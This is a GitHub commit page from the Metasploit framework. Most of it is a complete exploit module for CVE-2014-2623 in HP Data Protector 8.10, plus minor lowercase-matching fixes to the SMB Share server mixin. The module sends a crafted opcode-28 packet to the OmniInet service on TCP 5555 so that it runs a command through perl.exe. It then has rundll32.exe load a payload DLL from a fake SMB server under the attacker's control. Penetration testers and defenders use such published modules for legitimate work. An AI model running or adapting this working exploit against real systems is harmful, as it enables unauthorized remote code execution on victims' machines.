Skip to content

Commit 1676d98

Browse files
committed
Land rapid7#4451, @0x41414141's module for CVE-2014-2623, using the new SMB Share mixin
2 parents b21439a + fa9d921 commit 1676d98

File tree

4 files changed

+164
-14
lines changed

4 files changed

+164
-14
lines changed

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,13 +26,13 @@ def smb_cmd_nt_create_andx(c, buff)
2626
payload = file_name
2727
end
2828

29-
if payload.ends_with?(file_name)
29+
if payload.ends_with?(file_name.downcase)
3030
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
3131
fid = smb[:file_id].to_i
3232
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
3333
eof = file_contents.length
3434
is_dir = 0
35-
elsif payload.eql?(path_name)
35+
elsif payload.eql?(path_name.downcase)
3636
fid = smb[:dir_id].to_i
3737
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
3838
eof = 0

lib/msf/core/exploit/smb/server/share/information_level/find.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,14 @@ module Find
1414
# @return [Fixnum] The number of bytes returned to the client as response.
1515
def smb_cmd_find_file_both_directory_info(c, path)
1616

17-
if path && path.include?(file_name)
17+
if path && path.include?(file_name.downcase)
1818
data = Rex::Text.to_unicode(file_name)
1919
length = file_contents.length
2020
ea = 0
2121
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
2222
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
2323
search = 1
24-
elsif path && path == path_name
24+
elsif path && path == path_name.downcase
2525
data = Rex::Text.to_unicode(path_name)
2626
length = 0
2727
ea = 0x21
@@ -50,9 +50,9 @@ def smb_cmd_find_file_both_directory_info(c, path)
5050
# @param path [String] The path which the client is requesting info from.
5151
# @return [Fixnum] The number of bytes returned to the client as response.
5252
def smb_cmd_find_file_names_info(c, path)
53-
if path && path.include?(file_name)
53+
if path && path.include?(file_name.downcase)
5454
data = Rex::Text.to_unicode(file_name)
55-
elsif path && path == path_name
55+
elsif path && path == path_name.downcase
5656
data = Rex::Text.to_unicode(path_name)
5757
else
5858
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
@@ -68,14 +68,14 @@ def smb_cmd_find_file_names_info(c, path)
6868
# @param path [String] The path which the client is requesting info from.
6969
# @return [Fixnum] The number of bytes returned to the client as response.
7070
def smb_cmd_find_file_full_directory_info(c, path)
71-
if path && path.include?(file_name)
71+
if path && path.include?(file_name.downcase)
7272
data = Rex::Text.to_unicode(file_name)
7373
length = file_contents.length
7474
ea = 0
7575
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
7676
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
7777
search = 0x100
78-
elsif path && path == path_name
78+
elsif path && path == path_name.downcase
7979
data = Rex::Text.to_unicode(path_name)
8080
length = 0
8181
ea = 0x21

lib/msf/core/exploit/smb/server/share/information_level/query.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -50,11 +50,11 @@ def smb_cmd_trans_query_file_info_standard(c, fid)
5050
# @return [Fixnum] The number of bytes returned to the client as response.
5151
# @todo Delete elsif comment if testing proofs it as unnecessary
5252
def smb_cmd_trans_query_path_info_basic(c, path)
53-
if path && path.ends_with?(file_name)
53+
if path && path.ends_with?(file_name.downcase)
5454
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
5555
#elsif path && path.ends_with?(file_name + '.Local')
5656
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
57-
elsif path && path == path_name
57+
elsif path && path == path_name.downcase
5858
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
5959
elsif path.nil? || path.empty? || path == "\x00" # empty path
6060
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
@@ -72,9 +72,9 @@ def smb_cmd_trans_query_path_info_basic(c, path)
7272
# @param path [String] The path which the client is requesting info from.
7373
# @return [Fixnum] The number of bytes returned to the client as response.
7474
def smb_cmd_trans_query_path_info_standard(c, path)
75-
if path && path.include?(file_name)
75+
if path && path.include?(file_name.downcase)
7676
attrib = 0 # File attributes => file
77-
elsif path && path == path_name
77+
elsif path && path == path_name.downcase
7878
attrib = 1 # File attributes => directory
7979
elsif path.nil? || path.empty? || path == "\x00" # empty path
8080
attrib = 1 # File attributes => directory
@@ -99,9 +99,9 @@ def smb_cmd_trans_query_path_info_standard(c, path)
9999
# @return [Fixnum] The number of bytes returned to the client as response.
100100
def smb_cmd_trans_query_path_info_network(c, path)
101101

102-
if path && path.include?(file_name)
102+
if path && path.include?(file_name.downcase)
103103
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
104-
elsif path && path == path_name
104+
elsif path && path == path_name.downcase
105105
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
106106
elsif path.nil? || path.empty? || path == "\x00" # empty path
107107
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::SMB::Server::Share
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'HP Data Protector 8.10 Remote Command Execution',
18+
'Description' => %q{
19+
This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary
20+
commands can be execute by sending crafted requests with opcode 28 to the OmniInet
21+
service listening on the TCP/5555 port. Since there is an strict length limitation on
22+
the command, rundll32.exe is executed, and the payload is provided through a DLL by a
23+
fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on
24+
Windows 7 SP1.
25+
},
26+
'Author' => [
27+
'Christian Ramirez', # POC
28+
'Henoch Barrera', # POC
29+
'Matthew Hall <hallm[at]sec-1.com>' # Metasploit Module
30+
],
31+
'References' =>
32+
[
33+
['CVE', '2014-2623'],
34+
['OSVDB', '109069'],
35+
['EDB', '34066'],
36+
['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818']
37+
],
38+
'DefaultOptions' =>
39+
{
40+
'EXITFUNC' => 'thread',
41+
},
42+
'Payload' =>
43+
{
44+
'Space' => 2048,
45+
'DisableNops' => true
46+
},
47+
'Privileged' => true,
48+
'Platform' => 'win',
49+
'Stance' => Msf::Exploit::Stance::Aggressive,
50+
'Targets' =>
51+
[
52+
[ 'HP Data Protector 8.10 / Windows', { } ],
53+
],
54+
'DefaultTarget' => 0,
55+
'DisclosureDate' => 'Nov 02 2014'))
56+
57+
register_options(
58+
[
59+
Opt::RPORT(5555),
60+
OptString.new('FILE_NAME', [ false, 'DLL File name to share']),
61+
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
62+
], self.class)
63+
64+
deregister_options('FILE_CONTENTS')
65+
end
66+
67+
def check
68+
fingerprint = get_fingerprint
69+
70+
if fingerprint.nil?
71+
return Exploit::CheckCode::Unknown
72+
end
73+
74+
print_status("#{peer} - HP Data Protector version #{fingerprint}")
75+
76+
if fingerprint =~ /HP Data Protector A\.08\.(\d+)/
77+
minor = $1.to_i
78+
else
79+
return Exploit::CheckCode::Safe
80+
end
81+
82+
if minor < 11
83+
return Exploit::CheckCode::Appears
84+
end
85+
86+
Exploit::CheckCode::Detected
87+
end
88+
89+
def peer
90+
"#{rhost}:#{rport}"
91+
end
92+
93+
def get_fingerprint
94+
ommni = connect
95+
ommni.put(rand_text_alpha_upper(64))
96+
resp = ommni.get_once(-1)
97+
disconnect
98+
99+
if resp.nil?
100+
return nil
101+
end
102+
103+
Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
104+
end
105+
106+
def send_pkt(cmd)
107+
cmd.gsub!("\\", "\\\\\\\\")
108+
109+
pkt = "2\x00"
110+
pkt << "\x01\x01\x01\x01\x01\x01\x00"
111+
pkt << "\x01\x00"
112+
pkt << "\x01\x00"
113+
pkt << "\x01\x00"
114+
pkt << "\x01\x01\x00 "
115+
pkt << "28\x00"
116+
pkt << "\\perl.exe\x00 "
117+
pkt << "-esystem('#{cmd}')\x00"
118+
119+
connect
120+
sock.put([pkt.length].pack('N') + pkt)
121+
disconnect
122+
end
123+
124+
def primer
125+
self.file_contents = generate_payload_dll
126+
print_status("File available on #{unc}...")
127+
128+
print_status("#{peer} - Trying to execute remote DLL...")
129+
sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}"
130+
send_pkt(sploit)
131+
end
132+
133+
def setup
134+
super
135+
136+
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
137+
138+
unless file_name =~ /\.dll$/
139+
fail_with(Failure::BadConfig, "FILE_NAME must end with .dll")
140+
end
141+
end
142+
143+
def exploit
144+
begin
145+
Timeout.timeout(datastore['SMB_DELAY']) {super}
146+
rescue Timeout::Error
147+
# do nothing... just finish exploit and stop smb server...
148+
end
149+
end
150+
end

0 commit comments

Comments
 (0)